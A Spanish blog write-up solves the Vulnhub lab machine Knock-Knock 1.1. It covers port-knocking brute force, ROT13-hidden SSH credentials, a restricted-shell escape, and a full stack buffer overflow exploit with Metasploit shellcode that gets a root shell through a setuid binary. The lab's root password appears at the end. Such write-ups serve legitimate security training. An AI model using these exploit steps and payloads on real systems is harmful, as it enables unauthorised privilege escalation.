En la web de Vulnhub podemos encontrar muchísimas maquinas virtuales preparadas para explotar fallos conocidos y utilizar distintos trucos para penetrar sistemas y encontrar brechas de seguridad. Hoy voy a postear mi solucionario para una de las máquinas que más me han gustado hasta ahora: Knock-Knock: 1.1
Descripción
Tuve una idea chula que no había visto antes en una maquina virtual y quería convertirlo en realidad.
Tu trabajo consiste en escalar y coger la bandera.
Recuerda : Hay una diferencia entre "puerto inalcanzable" y "host inalcanzable". DHCP no está roto;)
Tengo que dar un gran shoutout a c0ne por ayudar a crear el reto binario y rasta_mouse y recrudesce para pruebas :)
Además, tengo que gracias barrebas que era capaz de encontrar una manera de hacer las cosas más fáciles ... pero por supuesto que se arregla con esta actualización! ;)
MD5 - 3b6839a28b4be64bd71598aa374ef4a6 ronda ronda 1-1.ova
SHA1 - 0ec29d8baad9997fc250bda65a307e0f674e4180 ronda ronda 1-1.ova
Sientete libre para comentarme en #vulnhub en freenode - zer0w1re
Let’s go!
Primero identificamos la ip que se le ha asignado a la maquina virtual y realizamos un escaneo rutinario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
root@kali:~# netdiscover -i eth0 Currently scanning: 192.168.29.0/16 | Screen View: Unique Hosts 14 Captured ARP Req/Rep packets, from 8 hosts. Total size: 840 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 192.168.1.113 08:00:27:be:dd:c8 01 060 CADMUS COMPUTER SYSTEMS root@kali:~# nmap -sS -sV -PN 192.168.1.113 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:04 EST Nmap scan report for 192.168.1.113 Host is up (0.00042s latency). All 1000 scanned ports on 192.168.1.113 are filtered MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.74 seconds |
Parece que no obtenemos ningún resultado, pero ya nos daba una pista en la descripción DHCP is not broken y por el nombre de la maquina virtual, supongo que nos toca jugar con puertos. Lo primero que pienso es en «portknocking» y me pongo a googlear para refrescar la memoria.
-
- Port Knocking (Español)
https://wiki.archlinux.org/index.php/Port_Knocking_(Espa%C3%B1ol)
-
- How To Use Port Knocking to Hide your SSH Daemon from Attackers
Después de una rápida lectura, hagamos un escaneo mas profundo, esta vez golpeando
1 2 3 4 5 6 7 |
root@kali:~# for i in {1..65535};do nmap -PN --host_timeout 201 --max-retries 0 -p $i 192.168.1.113;done|grep open 260/tcp filtered openport 557/tcp filtered openvms-sysipc 1194/tcp filtered openvpn 1259/tcp filtered opennl-voice 1337/tcp open waste 1473/tcp filtered openmath |
Perfecto! Tenemos abierto el 1337, vamos a investigarlo un poco
1 2 3 4 5 6 7 8 9 10 11 |
root@kali:~# nc -vv 192.168.1.113 1337 192.168.1.113: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.1.113] 1337 (?) open [24680, 23810, 58745] sent 0, rcvd 22 root@kali:~# telnet 192.168.1.113 1337 Trying 192.168.1.113... Connected to 192.168.1.113. Escape character is '^]'. [30825, 34256, 14349] Connection closed by foreign host. |
Nos da poca información, ningún banner, pero me resulta curioso ver 3 puertos en la salida. Voy a golpearlos!. En el artículo de port knocking en español leí: Port knocking (Tocar puertos) es un método discreto de abrir puertos que, por default, el firewall mantiene cerrado. Funciona requiriendo intentos de conexión a una serie de puertos predefinidos cerrados. Cuando la secuencia correcta de «toquidos» a puertos (intentos de conexión) es recibida, el firewall abre entonces cierto(s) puerto(s). Así que imagino que si golpeamos esos tres puertos en el orden correcto otros puertos se abrirán a nuestra ip y en teoría los veremos con el nmap. Primero probamos en el mismo orden que aparecen después de cerrar telnet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
root@kali:~# nmap -PN --host_timeout 201 --max-retries 0 -p 30825,34256,14349 192.168.1.113 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:58 EST Nmap scan report for 192.168.1.113 Host is up (0.00057s latency). PORT STATE SERVICE 14349/tcp filtered unknown 30825/tcp filtered unknown 34256/tcp filtered unknown MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds root@kali:~# nmap -F 192.168.1.113 Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 09:58 EST Nmap scan report for 192.168.1.113 Host is up (0.00029s latency). All 100 scanned ports on 192.168.1.113 are filtered MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds |
Ouch!, no ha habido suerte. Tendremos que crear un script que pruebe todas las combinaciones de golpeos posibles a esos tres puertos y hagamos «fuerza bruta». Usaremos lo mismo que hasta ahora : telnet y nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
#!/bin/bash #LoRKa pax0r script for knock-knock vm (vulnhub.com) host=192.168.1.113 puertos=`telnet $host 1337 |grep "," |sed 's/,/ /'|sed 's/,/ /'|sed 's/\[/ /'|sed 's/\]/ /'` file=lista.txt rm -rf $file for c1 in $puertos do for c2 in $puertos do if [ "$c1" != "$c2" ]; then for c3 in $puertos do if [ "$c1" != "$c3" ]; then [ $c1 -ne $c2 -a $c1 -ne $c3 -a $c2 -ne $c3 ] && echo $c1 >> $file && echo $c2 >> $file && echo $c3 >> $file fi done fi done done for i in `cat $file`;do nmap -PN --host_timeout 201 --max-retries 0 -p $i $host;done 2>&1 nmap -F $host |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
root@kali:~# ./tok-tok.sh Connection closed by foreign host. Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST Nmap scan report for 192.168.1.113 Host is up (0.00026s latency). PORT STATE SERVICE 34916/tcp filtered unknown MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST Nmap scan report for 192.168.1.113 Host is up (0.00072s latency). PORT STATE SERVICE 58747/tcp filtered unknown MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) ................................. .......................................... ................................................... ............................................................ Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-27 10:09 EST Nmap scan report for 192.168.1.113 Host is up (0.00069s latency). Not shown: 98 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:BE:DD:C8 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds root@kali:~# |
Eureka!! Ahora el firewall nos enseña los puertos abiertos a nuestra direccion ip local, vamos a ver que hay por ahi..
En la web vemos
Después de mirar el código y no encontrar nada, hice un escaneo a posibles directorios y archivos ocultos con wfuzz , también le pasé nikto y tampoco obtuve resultados en ningún caso. Esto me llevó a pensar que tal vez hubiera algún fallo en el ssh, miré la versión que devolvía el banner y me rallé un rato con eso también, probé fuerza bruta con diccionarios fáciles al ssh y tampoco obtuve nada.
1 2 3 4 5 6 7 8 |
root@kali:~# nc -vv 192.168.1.113 22 192.168.1.113: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.1.113] 22 (ssh) open SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2 Protocol mismatch. sent 1, rcvd 58 root@kali:~# |
Entonces caí en la cuenta de que lo único que no habia visto a fondo era la imagen que aparecía en el index, la descargué y …
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
root@kali:~# strings knockknock.jpg JFIF Ducky http://ns.adobe.com/xap/1.0/ <?xpacket begin=" " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" ................. ...................... ............................. .................................... \Uv* *M1W tR)O MO:/? qW|U \+\U Login Credentials abfnW sax2Cw9Ow root@kali:~# |
Esos «Login Credentials» deben ser del otro servicio que tenemos activo, el ssh. Tras probar usuario: abfnW y password: sax2Cw9Ow (y viceversa), solo obtuve «password incorrect». Entonces pensé que estaban cifrados de algun modo. Como no era base64 ni md5 fuí directamente a google y puse «Cifrados simples» y el primer artículo que aparece, de wikipedia, nos da la respuesta. nuestro cifrado es rot13 y vamos a ayudarnos de un pequeño programa en c para descifrarlo.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#include #include int main(int argc, char **argv) { int ch = '\0'; while((ch = fgetc(stdin)) != EOF) { /* for every char in stdin */ unsigned char c = (unsigned char)ch; if( (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ) { /* if letter */ unsigned char abs; if(c >= 'a' && c <= 'z') /* for every small letter */ abs = c - 'a'; else if(c >= 'A' && c <= 'Z') /* for every big letter */ abs = c - 'A'; abs = abs + 13; /* dot rot13 */ if(abs >= 26) abs -= 26; /* wrap */ if(c >= 'a' && c <= 'z') /* for every small letter */ c = abs + 'a'; else if(c >= 'A' && c <= 'Z') /* for every big letter */ c = abs + 'A'; }; printf("%c",c); } return 0; } |
copiamos las dos palabras a un txt… y …
1 2 3 4 5 6 7 |
root@kali:~# cat password abfnW sax2Cw9Ow root@kali:~# cat password |./rot13 nosaJ fnk2Pj9Bj root@kali:~# |
Tras probarlas sin resultado ninguno de nuevo me fijo en «nosaJ» , hmmm ¿»Jason»? voy a copiar al fichero password la cadena alrevés y la voy a volver a pasar por el rot13..
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@kali:~# cat pass abfnW sax2Cw9Ow Wnfba wO9wC2xas root@kali:~# cat pass|./rot13 nosaJ fnk2Pj9Bj Jason jB9jP2knf root@kali:~# |
tras un par de intentos (el usuario Jason es con minúscula y aun no se por qué..) consigo entrar a la maquina. Hago un ls y veo un archivo con setuid root pero..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
root@kali:~# ssh -l jason 192.168.1.113 jason@192.168.1.113's password: Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Jan 6 11:57:50 2016 from 192.168.1.106 jason@knockknock:~$ ls -alt total 32 drwxr-xr-x 2 jason jason 4096 Oct 11 2014 . -rw------- 1 jason jason 2396 Oct 11 2014 .viminfo -rwsr-xr-x 1 root jason 7457 Oct 11 2014 tfc lrwxrwxrwx 1 jason jason 9 Sep 26 2014 .bash_history -> /dev/null -rw-r--r-- 1 jason jason 3398 Sep 25 2014 .bashrc -rw-r--r-- 1 jason jason 675 Sep 24 2014 .profile drwxr-xr-x 3 root root 4096 Sep 24 2014 .. -rw-r--r-- 1 jason jason 220 Sep 24 2014 .bash_logout jason@knockknock:~$ ./tfc -rbash: ./tfc: restricted: cannot specify `/' in command names jason@knockknock:~$ |
oh wait! una «restricted bash»!! , a los oldschool les sonaran estas técnicas de los viejos wargames y no está mal repasarlas, así que echamos un vistazo a https://en.wikipedia.org/wiki/Restricted_shell y nuestra querida wikipedia vuelve a darnos la solución
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
jason@knockknock:~$ vi :set shell=/bin/sh :shell $ id uid=1000(jason) gid=1000(jason) groups=1000(jason),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) $ ./tfc _______________________________ \__ ___/\_ _____/\_ ___ \ | | | __) / \ \/ | | | \ \ \____ |____| \___ / \______ / \/ \/ Tiny File Crypter - 1.0 Usage: ./tfc <filein.tfc> <fileout.tfc> $ |
Más tarde descubrí una forma mas cool de escapar, que desconocía y aprendí gracias a este reto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
jason@knockknock:~$ ftp ftp> ! jason@knockknock:~$ ./tfc _______________________________ \__ ___/\_ _____/\_ ___ \ | | | __) / \ \/ | | | \ \ \____ |____| \___ / \______ / \/ \/ Tiny File Crypter - 1.0 Usage: ./tfc <filein.tfc> <fileout.tfc> jason@knockknock:~$ |
Bueno, pues llegados a este punto y después de revisar un poco la maquina en general sin encontrar ningun fichero extraño ni mas binarios con setuid, tenemos claro que nuestro reto ya se centra en el binario «tfc» , creado por c0ne y al que se le dan agradecimientos en la descripción inicial.
Tras analizar la situación descargamos «tfc» para trabajar con él en local:
1 |
root@kali:/tmp# scp jason@10.0.0.202:/home/jason/tfc /root/Desktop/tfc |
**********************************************************************************************
Buffer Overflood
**********************************************************************************************
Realizando pruebas, vemos que «tfc» es un programa que cifra y descifra ficheros con extensión .tfc con un algoritmo simétrico. Cuando le pasamos que cifre un fichero de 6000 caracteres «peta». Verificamos la seguridad y vemos que está todo deshabilitado. Para probar creamos un fichero de 100 caracteres (in.tfc) y lo ciframos con el programita ./tfc (out.tfc).
Analizamos el contenido y anotamos el comienzo del archivo cifrado (def0 5bab) ya que es un patrón que se repite.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
root@kali:~# gdb -q ./tfc root@kali:~# gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : disabledpython -c 'print "A" * 100' > in.tfc root@kali:~# ./tfc in.tfc out.tfc >> File crypted, goodbye! root@kali:~# xxd out.tfc | head 00000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H 00000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c ).Aotg.\!.E?...l 00000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979 +..B..$f5%..&..y 00000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77 ..|S[I;R...+T..w 00000040: e104 0424 cd9f e437 f09c 3f69 0095 7727 ...$...7..?i..w' 00000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41 ..3...s<A..^..^A 00000060: 9a35 9167 87 .5.g. |
Ahora vamos a intentar cifrar el archivo de 6000 caracteres ampliando el tamaño del buffer.
Creamos un fichero de 6000 caracteres (in.tfc) y lo ciframos con el programita ./tfc (El programa falla y out.tfc no se escribe quedando a 0 bytes, pero todo el buffer se guarda en core).
Analizamos el contenido de core y buscamos la posicion de memoria donde comienza el cifrado (def0 5bab).
Como resultado obtenemos (00032960), ¡ojo está en hexadecimal!.
1 2 3 4 5 6 |
root@kali:~# ulimit -c unlimited root@kali:~# python -c 'print "A" * 6000' > in.tfc root@kali:~# ./tfc in.tfc out.tfc Segmentation fault (core dumped) root@kali:~/Desktop# xxd core | grep 'def0 5bab' 00032960: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H |
Averiguamos la dirección de la instrucción «jmp» para poder sobreescribir la direccion de retorno y decir al programa que vuelva al comienzo de la pila. Anotamos nuestro resultado (0x08048e93).
1 2 |
root@kali:~# /usr/bin/msfelfscan -j esp -f /root/Desktop/tfc 0x08048e93 jmp esp |
Realizando el método de prueba y error averiguamos la longitud de archivo donde se desborda el buffer.
El valor correcto es 4214.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 |
#root@kali:~/Desktop/knockknock# gdb .tfc GNU gdb (Debian 8.1-4) 8.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... .tfc: No such file or directory. gdb-peda$ run in.tfc out.tfc ###4123 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffce5a50 --> 0xab5bf0de EDX: 0xffffffb4 ESI: 0xf7efd000 --> 0x1d5d8c EDI: 0x0 EBP: 0x4755193b ESP: 0xffce6a70 --> 0xffce7504 ("in.tfc") EIP: 0x804896b (<main+71>: leave) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804895a <main+54>: mov DWORD PTR [esp],0x8048b38 0x8048961 <main+61>: call 0x8048480 <puts@plt> 0x8048966 <main+66>: mov eax,0x0 => 0x804896b <main+71>: leave 0x804896c <main+72>: ret 0x804896d: nop 0x804896e: nop 0x804896f: nop [------------------------------------stack-------------------------------------] 0000| 0xffce6a70 --> 0xffce7504 ("in.tfc") 0004| 0xffce6a74 --> 0xffce750b ("out.tfc") 0008| 0xffce6a78 --> 0x804898b (<__libc_csu_init+11>: add ebx,0x13bd) 0012| 0xffce6a7c --> 0x0 0016| 0xffce6a80 --> 0xf7efd000 --> 0x1d5d8c 0020| 0xffce6a84 --> 0xf7efd000 --> 0x1d5d8c 0024| 0xffce6a88 --> 0x0 0028| 0xffce6a8c --> 0xf7d409a1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804896b in main () #4124 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffc65130 --> 0xab5bf0de EDX: 0xffffffb4 ESI: 0xf7f73000 --> 0x1d5d8c EDI: 0x0 EBP: 0xc55193b ESP: 0xffc66150 --> 0xffc66504 ("in.tfc") EIP: 0x804895d (<main+57>: cmp BYTE PTR [ebx+0x1ae80804],cl) EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x804895d <main+57>: cmp BYTE PTR [ebx+0x1ae80804],cl 0x8048963 <main+63>: sti 0x8048964 <main+64>: (bad) 0x8048965 <main+65>: (bad) [------------------------------------stack-------------------------------------] 0000| 0xffc66150 --> 0xffc66504 ("in.tfc") 0004| 0xffc66154 --> 0xffc6650b ("out.tfc") 0008| 0xffc66158 --> 0x804898b (<__libc_csu_init+11>: add ebx,0x13bd) 0012| 0xffc6615c --> 0x0 0016| 0xffc66160 --> 0xf7f73000 --> 0x1d5d8c 0020| 0xffc66164 --> 0xf7f73000 --> 0x1d5d8c 0024| 0xffc66168 --> 0x0 0028| 0xffc6616c --> 0xf7db69a1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804895d in main () ###4125 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xffea1d30 --> 0xab5bf0de EDX: 0xffffffb4 ESI: 0xf7efe000 --> 0x1d5d8c EDI: 0x0 EBP: 0xc55193b ESP: 0xffea2d50 --> 0xffea3504 ("in.tfc") EIP: 0x8048216 --> 0x3d0000 ('') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048210: add BYTE PTR [eax],al 0x8048212: add BYTE PTR [eax],al 0x8048214: adc al,BYTE PTR [eax] => 0x8048216: add BYTE PTR [eax],al 0x8048218: cmp eax,0x0 0x804821d: add BYTE PTR [eax],al 0x804821f: add BYTE PTR [eax],al 0x8048221: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffea2d50 --> 0xffea3504 ("in.tfc") 0004| 0xffea2d54 --> 0xffea350b ("out.tfc") 0008| 0xffea2d58 --> 0x804898b (<__libc_csu_init+11>: add ebx,0x13bd) 0012| 0xffea2d5c --> 0x0 0016| 0xffea2d60 --> 0xf7efe000 --> 0x1d5d8c 0020| 0xffea2d64 --> 0xf7efe000 --> 0x1d5d8c 0024| 0xffea2d68 --> 0x0 0028| 0xffea2d6c --> 0xf7d419a1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x08048216 in ?? () |
Nos queda generar el shellcode que nos dará acceso a la shell con permisos de root, se ejecutará en el punto donde desborde el buffer. Como podéis ver a continuación por comodidad lo he generado con Metasploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
root@kali:~/Desktop/knockknock# msfconsole . . . dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o ' dB' BBP dB'dB'dB' dBBP dBP dBP BB dB'dB'dB' dBP dBP dBP BB dB'dB'dB' dBBBBP dBP dBBBBBBB dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP . . dB' dBP dB'.BP | dBP dBBBB' dBP dB'.BP dBP dBP --o-- dBP dBP dBP dB'.BP dBP dBP | dBBBBP dBP dBBBBP dBBBBP dBP dBP . . o To boldly go where no shell has gone before =[ metasploit v4.17.3-dev ] + -- --=[ 1795 exploits - 1019 auxiliary - 310 post ] + -- --=[ 538 payloads - 41 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use payload/linux/x86/exec msf payload(linux/x86/exec) > set CMD /bin/sh msf payload(linux/x86/exec) > generate -b '\x00' # linux/x86/exec - 70 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, PrependFork=false, PrependSetresuid=false, # PrependSetreuid=false, PrependSetuid=false, # PrependSetresgid=false, PrependSetregid=false, # PrependSetgid=false, PrependChrootBreak=false, # AppendExit=false, CMD=/bin/sh buf = "\xbd\xcc\x27\x23\x63\xdb\xd0\xd9\x74\x24\xf4\x5f\x31\xc9" + "\xb1\x0b\x83\xc7\x04\x31\x6f\x11\x03\x6f\x11\xe2\x39\x4d" + "\x28\x3b\x58\xc0\x48\xd3\x77\x86\x1d\xc4\xef\x67\x6d\x63" + "\xef\x1f\xbe\x11\x86\xb1\x49\x36\x0a\xa6\x42\xb9\xaa\x36" + "\x7c\xdb\xc3\x58\xad\x68\x7b\xa5\xe6\xdd\xf2\x44\xc5\x62" |
Ya tenemos todos los datos necesarios para montar nuestro exploit. Por comodidad utilizo una plantilla que vi foro de @knapsy (https://blog.knapsy.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#/usr/bin/python # Metasploit generated shellcode - 70 bytes shellcode = "\xdb\xd0\xbd\x79\xf6\x5f\x15\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x68\x1a\x03\x68\x1a\x83\xc0\x04\xe2\x8c\x9c\x54\x4d\xf7\x33\x0d\x05\x2a\xd7\x58\x32\x5c\x38\x28\xd5\x9c\x2e\xe1\x47\xf5\xc0\x74\x64\x57\xf5\x8f\x6b\x57\x05\xbf\x09\x3e\x6b\x90\xbe\xa8\x73\xb9\x13\xa1\x95\x88\x14" content = "A" * 4124 # fill up the buffer content += "\x93\x8e\x04\x08" # overwrite return address with address of 'jmp esp' instruction content += "\x83\xec\x7f" # instruction code for 'sub $esp, 175' to make space on the stack for the shellcode (basically rewinding stack) content += shellcode # our shellcode (70 bytes) content += "\x90" * 105 # padding after the shellcode to ensure nothing immediatelly after the shellcode is executed as well and therefore corrupting our shellcode # Print the exploit (we'll redirect output to file) print content |
Ahora tenemos que hacer que la aplicación procese todo, para ello vamos a generar el exploit y lo vamos a cifrar.
1 2 3 |
root@kali:~# python exploit.py > exploit.in.tfc root@kali:~# ./tfc exploit.in.tfc exploit.out.tfc Segmentation fault (core dumped) |
Al ser demasiado grande y no procesarlo lo rescataremos del buffer. Cotejamos la dirección de memoria que teniamos antes anotada y al pasarla a decimal nos salen 207200 bytes (00032960). A partir de este punto cogemos 4306 bytes que es lo que ocupa el exploit y le damos salida.
1 2 3 4 5 6 |
root@kali:~/Desktop# xxd core | grep 'def0 5bab' 00032960: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H root@kali:~/Desktop# dd if=core of=exploit.out.tfc skip=207200 count=4306 bs=1 4306+0 records in 4306+0 records out 4306 bytes (4,3 kB, 4,2 KiB) copied, 0,0166752 s, 258 kB/s |
Solo queda subirlo a la máquina objetivo, conectarnos, y usarlo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
root@kali:~/Desktop# scp /root/Desktop/exploit.out.tfc jason@10.0.0.202:. jason@10.0.0.202's password: exploit.out.tfc 100% 4306 6.4MB/s 00:00 root@kali:~/Desktop# ssh jason@10.0.0.202 jason@10.0.0.202's password: Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686 jason@knockknock:~$ nice /bin/bash jason@knockknock:~$ ./tfc exploit.out.tfc damelasllaves.tfc # id uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason) # whoami root # ls -alt /root total 56 drwx------ 6 root root 4096 Oct 11 2014 . -rw------- 1 root root 6615 Oct 11 2014 .viminfo -rw-r--r-- 1 root root 1459 Oct 11 2014 crpt.py drwxr-xr-x 2 root root 4096 Oct 10 2014 the_flag_is_in_here -rwxr-xr-x 1 root root 1027 Oct 10 2014 server.py lrwxrwxrwx 1 root root 9 Sep 26 2014 .bash_history -> /dev/null -rwxr-xr-x 1 root root 119 Sep 26 2014 start.sh drwx------ 2 root root 4096 Sep 25 2014 .ssh -rw-r--r-- 1 root root 10 Sep 25 2014 .vimrc drwxr-xr-x 2 root root 4096 Sep 25 2014 .vim drwx------ 2 root root 4096 Sep 24 2014 .aptitude drwxr-xr-x 22 root root 4096 Sep 24 2014 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 140 Nov 19 2007 .profile # cd /root # cd the_flag_is_in_here # ls qQcmDWKM5a6a3wyT.txt # cat qQcmDWKM5a6a3wyT.txt __ __ __ __ ____ | | __ ____ ____ ____ | | __ | | __ ____ ____ ____ | | __ /_ | | |/ // \ / _ \_/ ___\| |/ / ______ | |/ // \ / _ \_/ ___\| |/ / | | | <| | ( <_> ) \___| < /_____/ | <| | ( <_> ) \___| < | | |__|_ \___| /\____/ \___ >__|_ \ |__|_ \___| /\____/ \___ >__|_ \ |___| \/ \/ \/ \/ \/ \/ \/ \/ Hooray you got the flag! Hope you had as much fun r00ting this as I did making it! Feel free to hit me up in #vulnhub @ zer0w1re Gotta give a big shout out to c0ne, who helpped to make the tfc binary challenge, as well as rasta_mouse, and recrudesce for helping to find bugs and test the VM :) root password is "qVx4UJ*zcUdc9#3C$Q", but you should already have a shell, right? ;) |
Bueno ya tenemos la bandera, contiene una nota del autor zer0w1re, unos agradecimientos a sus colaboradores, y la password de root 🙂
Evidentemente hay más metodos para realizar este reto, desde mi punto de vista mucho más complicados.
Espero que os sea de provecho este «writeup», y hayáis disfrutado.
Salu2